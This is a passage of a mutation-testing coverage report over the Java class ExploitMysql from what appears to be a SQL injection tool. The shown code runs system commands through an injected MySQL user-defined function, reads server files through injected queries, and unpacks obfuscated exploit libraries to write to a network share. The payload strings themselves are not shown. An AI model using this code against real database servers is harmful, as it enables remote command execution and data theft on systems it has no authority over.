| 444 | MockElement.MOCK, | |
| 445 | "xplt#confirm-file" | |
| 446 | ); | |
| 447 | } | |
| 448 | ||
| 449 | public String runRceCmd(String command, UUID uuidShell) { | |
| 450 | String result; | |
| 451 | try { | |
| 452 | result = this.injectionModel.getResourceAccess().getResult(String.format( // 0xff splits single result in many chunks => replace by space | |
| 453 | this.modelYaml.getUdf().getRunCmd(), | |
| 454 | command.replace(StringUtils.SPACE, "%20") // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l' | |
| 455 | ), "udf#run-cmd") +"\n"; | |
| 456 | } catch (JSqlException e) { | |
| 457 | result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command); | |
| 458 | } | |
| 459 | var request = new Request(); | |
| 460 |
1
1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.GET_TERMINAL_RESULT); |
| 461 |
1
1. runRceCmd : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(uuidShell, result); |
| 462 |
1
1. runRceCmd : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
| 463 |
1
1. runRceCmd : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::runRceCmd → NO_COVERAGE |
return result; |
| 464 | } | |
| 465 | ||
| 466 | public String getRead(String pathFile) throws AbstractSlidingException { | |
| 467 | LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege"); | |
| 468 |
1
1. getRead : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getRead → NO_COVERAGE |
return new SuspendableGetRows(this.injectionModel).run( |
| 469 | this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace( | |
| 470 | VendorYaml.FILEPATH_HEX, | |
| 471 | Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8)) | |
| 472 | ), | |
| 473 | new String[]{ StringUtils.EMPTY }, | |
| 474 | false, | |
| 475 | 1, | |
| 476 | MockElement.MOCK, | |
| 477 | ResourceAccess.FILE_READ | |
| 478 | ); | |
| 479 | } | |
| 480 | ||
| 481 | private static List<String> toHexChunks(String filename) throws JSqlException { | |
| 482 | try { | |
| 483 | byte[] fileData = ExploitMysql.uncloak(filename); | |
| 484 |
1
1. toHexChunks : replaced return value with Collections.emptyList for com/jsql/model/accessible/vendor/ExploitMysql::toHexChunks → NO_COVERAGE |
return StringUtil.toHexChunks(fileData); |
| 485 | } catch (IOException e) { | |
| 486 | throw new JSqlException(e); | |
| 487 | } | |
| 488 | } | |
| 489 | ||
| 490 | private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException { | |
| 491 | try { | |
| 492 | byte[] fileData = ExploitMysql.uncloak(nameLibrary); | |
| 493 | Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary); | |
| 494 | try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) { | |
| 495 |
1
1. copyLibraryToShare : removed call to java/io/FileOutputStream::write → NO_COVERAGE |
stream.write(fileData); |
| 496 | } | |
| 497 | } catch (IOException e) { | |
| 498 | throw new JSqlException(e); | |
| 499 | } | |
| 500 | } | |
| 501 | ||
| 502 | private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException { | |
| 503 | Path path = Paths.get(pathFile); | |
| 504 | try { | |
| 505 | Files.write(path, bodyExploit.getBytes()); | |
| 506 | } catch (IOException e) { | |
| 507 | throw new JSqlException(e); | |
| 508 | } | |
| 509 | } | |
| 510 | ||
| 511 | private static byte[] uncloak(String nameLibrary) throws IOException { | |
| 512 | byte[] fileData = Objects.requireNonNull( // getResource > toURI > toPath > readAllBytes() not possible in .jar | |
| 513 | ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak") | |
| 514 | ).readAllBytes(); | |
| 515 | fileData = StringUtil.uncloak(fileData); | |
| 516 |
1
1. uncloak : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::uncloak → NO_COVERAGE |
return fileData; |
| 517 | } | |
| 518 | ||
| 519 | public ModelYamlMysql getModelYaml() { | |
| 520 |
1
1. getModelYaml : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::getModelYaml → NO_COVERAGE |
return this.modelYaml; |
| 521 | } | |
| 522 | } | |
Mutations | ||
| 46 |
1.1 2.2 |
|
| 66 |
1.1 |
|
| 67 |
1.1 |
|
| 68 |
1.1 |
|
| 69 |
1.1 |
|
| 71 |
1.1 |
|
| 77 |
1.1 2.2 |
|
| 79 |
1.1 |
|
| 80 |
1.1 |
|
| 81 |
1.1 |
|
| 82 |
1.1 |
|
| 87 |
1.1 |
|
| 91 |
1.1 |
|
| 95 |
1.1 |
|
| 98 |
1.1 |
|
| 105 |
1.1 |
|
| 112 |
1.1 |
|
| 116 |
1.1 |
|
| 134 |
1.1 |
|
| 135 |
1.1 |
|
| 148 |
1.1 2.2 |
|
| 154 |
1.1 |
|
| 157 |
1.1 |
|
| 158 |
1.1 |
|
| 166 |
1.1 2.2 |
|
| 175 |
1.1 2.2 3.3 |
|
| 177 |
1.1 |
|
| 181 |
1.1 |
|
| 186 |
1.1 |
|
| 188 |
1.1 |
|
| 193 |
1.1 |
|
| 199 |
1.1 |
|
| 203 |
1.1 |
|
| 205 |
1.1 |
|
| 212 |
1.1 |
|
| 216 |
1.1 |
|
| 220 |
1.1 |
|
| 221 |
1.1 |
|
| 224 |
1.1 |
|
| 232 |
1.1 2.2 |
|
| 233 |
1.1 |
|
| 244 |
1.1 2.2 3.3 |
|
| 246 |
1.1 |
|
| 253 |
1.1 |
|
| 256 |
1.1 2.2 |
|
| 258 |
1.1 |
|
| 259 |
1.1 |
|
| 261 |
1.1 |
|
| 263 |
1.1 |
|
| 277 |
1.1 |
|
| 280 |
1.1 2.2 |
|
| 285 |
1.1 |
|
| 293 |
1.1 |
|
| 296 |
1.1 2.2 |
|
| 300 |
1.1 |
|
| 309 |
1.1 |
|
| 313 |
1.1 |
|
| 335 |
1.1 |
|
| 338 |
1.1 |
|
| 347 |
1.1 |
|
| 351 |
1.1 |
|
| 357 |
1.1 2.2 |
|
| 367 |
1.1 |
|
| 375 |
1.1 |
|
| 380 |
1.1 |
|
| 393 |
1.1 |
|
| 404 |
1.1 |
|
| 410 |
1.1 |
|
| 421 |
1.1 |
|
| 423 |
1.1 |
|
| 428 |
1.1 |
|
| 429 |
1.1 |
|
| 430 |
1.1 |
|
| 431 |
1.1 |
|
| 436 |
1.1 |
|
| 460 |
1.1 |
|
| 461 |
1.1 |
|
| 462 |
1.1 |
|
| 463 |
1.1 |
|
| 468 |
1.1 |
|
| 484 |
1.1 |
|
| 495 |
1.1 |
|
| 516 |
1.1 |
|
| 520 |
1.1 |